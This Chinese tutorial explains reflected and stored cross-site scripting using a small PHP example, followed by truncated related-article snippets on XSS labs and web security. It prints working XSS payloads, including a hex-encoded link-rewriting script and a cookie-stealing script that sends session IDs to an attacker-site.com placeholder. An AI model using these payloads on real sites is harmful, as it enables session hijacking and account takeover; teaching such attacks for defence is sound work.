xss表示Cross Site Scripting(跨站脚本攻击),它与SQL注入攻击类似,SQL注入攻击中以SQL语句作为用户输入,从而达到查询/修改/删除数据的目的,而在xss攻击中,通过插入恶意脚本,实现对用户游览器的控制。
xss攻击可以分成两种类型:
- 非持久型攻击
- 持久型攻击
下面我们通过具体例子,了解两种类型xss攻击。
1.非持久型xss攻击
顾名思义,非持久型xss攻击是一次性的,仅对当次的页面访问产生影响。非持久型xss攻击要求用户访问一个被攻击者篡改后的链接,用户访问该链接时,被植入的攻击脚本被用户游览器执行,从而达到攻击目的。
假设有以下index.php页面:
php$name = $_GET['name'];echo "Welcome $name ";echo "Click to Download";?>
该页面显示两行信息:
- 从URI获取 'name' 参数,并在页面显示
- 显示跳转到一条URL的链接
这时,当攻击者给出以下URL链接:
index.php?name=guest<script>alert('attacked')</script>
当用户点击该链接时,将产生以下html代码,带'attacked'的告警提示框弹出:
Welcome guest<script>alert('attacked')script><br><a href='http://www.cnblogs.com/bangerlee/'>Click to Downloada>
除了插入alert代码,攻击者还可以通过以下URL实现修改链接的目的:
index.php?name= <script> window.onload =function() { var link=document.getElementsByTagName("a");link[0].href="http://attacker-site.com/";} script>
当用户点击以上攻击者提供的URL时,index.php页面被植入脚本,页面源码如下:
Welcome <script>window.onload =function() {var link=document.getElementsByTagName("a");link[0].href="http://attacker-site.com/";}script><br><a href='http://www.cnblogs.com/bangerlee/'>Click to Downloada>
用户再点击 "Click to Download" 时,将跳转至攻击者提供的链接。
对于用于攻击的URL,攻击者一般不会直接使用以上可读形式,而是将其转换成ASCII码,以下URL同样用于实现链接地址变更:
index.php?name=%3c%73%63%72%69%70%74%3e%77%69%6e%64%6f%77%2e%6f%6e%6c%6f%61%64%20%3d%20%66%75%6e%63%74%69%6f%6e%28%29%20%7b%76%61%72%20%6c%69%6e%6b%3d%64%6f%63%75%6d%65%6e%74%2e%67%65%74%45%6c%65%6d%65%6e%74%73%42%79%54%61%67%4e%61%6d%65%28%22%61%22%29%3b%6c%69%6e%6b%5b%30%5d%2e%68%72%65%66%3d%22%68%74%74%70%3a%2f%2f%61%74%74%61%63%6b%65%72%2d%73%69%74%65%2e%63%6f%6d%2f%22%3b%7d%3c%2f%73%63%72%69%70%74%3e
2.持久型xss攻击
持久型xss攻击会把攻击者的数据存储在服务器端,攻击行为将伴随着攻击数据一直存在。下面来看一个利用持久型xss攻击获取session id的实例。
session背景知识
我们知道HTTP是一个无状态维持的协议,所有请求/应答都是独立的,其间不保存状态信息。但有些场景下我们需要维护状态信息,例如用户登录完web应用后,再一定时间内,用户再进行登录,应不需要再输入用户名/密码进行鉴权。
这时我们用cookie和session解决状态维护问题,当用户首次登入时,服务器为该用户创建一个 session ID,同时向游览器传送一个 cookie,cookie保存会话连接中用到的数据,session ID作为会话标识,游览器后续的请求均基于该session ID。
攻击者可以提供一个攻击链接,当用户点击该链接时,向攻击者自己的服务器发送一条保存有用户session ID的信息,这样就可以窃取到用户的session ID,得到用户的执行权限。
现有以下login.php,其根据 user_name 在数据中查找相应的 pass_word,然后将用户提供的 password 与查数据库所得的 pass_word 进行比较,如果验证成功则创建对应于 user_name 的 session。
另有以下home.php,其根据登入的用户是 admin 还是其他用户,显示不同内容,对于admin,其列出所有用户,对于其他用户,提供包含输入框的form,可在数据库中插入新的用户名信息。
注意以上场景中,对 admin 和其他用户进行了不同的权限设置,admin可以看到所有用户列表,下面我们来看如何获取 admin 的session ID,从而使得其他用户也能获得 admin 的权限。
首先,攻击者以一个普通用户登录进来,然后在输入框中提交以下数据:
<a href=# onclick=\"document.location=\'http://attacker-site.com/xss.php?c=\'+escape\(document.cookie\)\;\">bangerleea>
xss.php?c=PHPSESSID%3Dvmcsjsgear6gsogpu7o2imr9f3
有了该session-id,攻击者在会话有效期内即可获得 admin 用户的权限,并且由于攻击数据已添加入数据库,只要攻击数据未被删除,那么攻击还有可能生效,是持久性的。
当然,不是只有持久型xss攻击才能窃取session ID、用户的cookie信息,用非持久型xss也可以,只要引导用户点击某链接,将 document.cookie 信息传到指定服务器即可,以上仅作为说明持久型xss攻击的举例。
相关推荐
在目录介绍中提到的“Dom Xss 入门”就是针对基于DOM的XSS攻击的教学。 XSS攻击的防范可以通过多种手段实现,例如在输入和输出层面进行过滤。输入过滤是指在用户提交数据之前,对数据进行检查和清理,以防止恶意...
1. 什么都没过滤的入门情况:这指的是反射型XSS攻击,用户提交的数据直接被反射到页面上,没有进行任何过滤。由于这种漏洞的存在,攻击者可以通过构造恶意的链接或表单输入,让其他用户执行攻击代码。一个现实的例子...
"xss-labs-master.rar" 提供了一个针对XSS漏洞的专项练习平台,旨在帮助初学者及安全爱好者提升对XSS攻击的理解和防御能力。这个靶机资源共分为二十个关卡,由浅入深,逐步引导用户掌握XSS攻防的核心技巧。 一、XSS...
`xss-labs-master` 提供了一个入门级别的XSS学习平台,它设计了一系列的挑战,旨在帮助新手理解XSS攻击的原理,并学习如何检测和防止这类漏洞。靶场中的每个挑战都模拟了不同的XSS场景,通过解决这些挑战,你可以...
软件安全概述+xss攻击入门 [作业:xss复现] 软件安全 三大问题 有什么安全问题,安全问题产生的原因 二进制方面 内存相关问题 有明确的机制 例子:缓冲区溢出,空指针,格式化字符串 逻辑错误问题 多种多样 Web方面 ...
本文将深入探讨XSS攻击的各种类型及其应对策略。 ### 1. 什么都没过滤的入门情况 这是XSS攻击的基础场景,当网站直接将用户输入的数据展示在页面上,而没有进行任何过滤或转义时,攻击者可以插入JavaScript代码,...
- 使用Content-Security-Policy(CSP):限制浏览器可以执行的脚本来源,减少XSS攻击的影响。 - 避免使用易受攻击的JavaScript函数,如`eval()`。 - 对DOM操作进行安全编程,避免直接修改来自用户的数据。 了解并...
总的来说,xsslabs靶场提供了一个宝贵的平台,让学习者能够实战演练XSS攻击,增强对这种常见安全威胁的理解,并掌握有效的防御策略。通过这个靶场,你不仅可以提高安全技能,还能加深对Web应用安全机制的认识。所以...
在ASP.NET框架下,了解并防范XSS攻击对于开发安全的Web应用至关重要。 首先,我们要理解XSS的类型。XSS通常分为三种:反射型XSS、存储型XSS和DOM型XSS。反射型XSS是通过诱使用户点击含有恶意代码的链接来触发,而...
【网络安全入门:从SQL注入到XSS攻击】 在IT领域,网络安全是至关重要的一环,而了解和防范常见的攻击手法是每个IT从业者必备的技能。"pkav课件"提供了一系列关于网络安全的基础教程,包括SQL注入和XSS攻击,旨在...
* XSS 的定义:XSS 是一种攻击技术,攻击者可以通过向 Web 应用程序输入恶意的脚本来攻击用户的浏览器。 * XSS 的原理:攻击者可以通过向 Web 应用程序输入恶意的脚本来欺骗用户的浏览器, steals 用户的敏感信息。 ...
2. **跨站脚本(XSS)**:XSS攻击允许攻击者在用户浏览器中执行恶意脚本。有两种主要类型:存储型XSS,其中恶意代码被存储在服务器上并传递给其他用户;反射型XSS,其中恶意代码包含在URL中,通过诱使用户点击链接来...
本文将深入探讨如何在iOS中解析HTML,特别关注如何使用Swift进行处理,适合初学者入门。 首先,我们需要理解HTML是一种标记语言,用于描述网页的结构和内容。在iOS中解析HTML,我们通常会用到以下几种技术: 1. **...
在安全方面,PHP入门到精通会强调防止SQL注入、XSS攻击等常见的Web安全问题,并给出相应的防护策略。了解和实施这些安全措施,对于构建安全的Web应用程序至关重要。 最后,可能会涉及一些高级话题,比如错误和异常...
2. XSS攻击:通过在网页上插入恶意脚本,攻击者可以窃取用户的Cookie或其他敏感信息。 3. 文件包含漏洞:允许攻击者通过修改文件包含函数的参数,引入远程或本地文件,可能导致代码执行。 4. SSRF(Server-Side ...
7. **安全性**:PHP开发中必须考虑的安全问题,如SQL注入、XSS攻击、CSRF等,光盘可能包含相关防御策略和最佳实践。 8. **PHP扩展**:PHP有众多的扩展库,如GD库用于图像处理,cURL库用于HTTP请求,学习如何安装和...
CTF从入门到提升(一) CTF(Capture The Flag)是一种网络安全竞赛的形式,起源于西方传统运动,两军互相争夺旗帜,夺取敌军旗帜代表战败。在信息安全领域,CTF是通过各种攻击手法,获取服务器后寻找指定的字段,...
攻击者可能试图寻找系统漏洞,进行SQL注入、XSS跨站脚本攻击、命令注入等;而防御者则要强化系统安全性,防止这些攻击。通过练习,参与者可以了解网络攻防的策略和技巧,包括如何识别和防范潜在威胁。 【蓝盾服务器...
Web Attack Detection(Web攻击检测)可以在您的网站上检测到SQL Injection和XSS攻击,并在您的网站受到攻击时向您发送电子邮件。 它可以检测到这些攻击,也可以通过文本字段以及通过URL栏检测到。 入门 请按照以下...
8. 安全编程实践:开发者应遵循安全编码规范,避免SQL注入、XSS、CSRF等常见漏洞,使用安全的库和框架,并进行代码审查和渗透测试。 9. 源码审计:定期进行源码审计可以帮助发现潜在的安全隐患,及时修复漏洞,提高...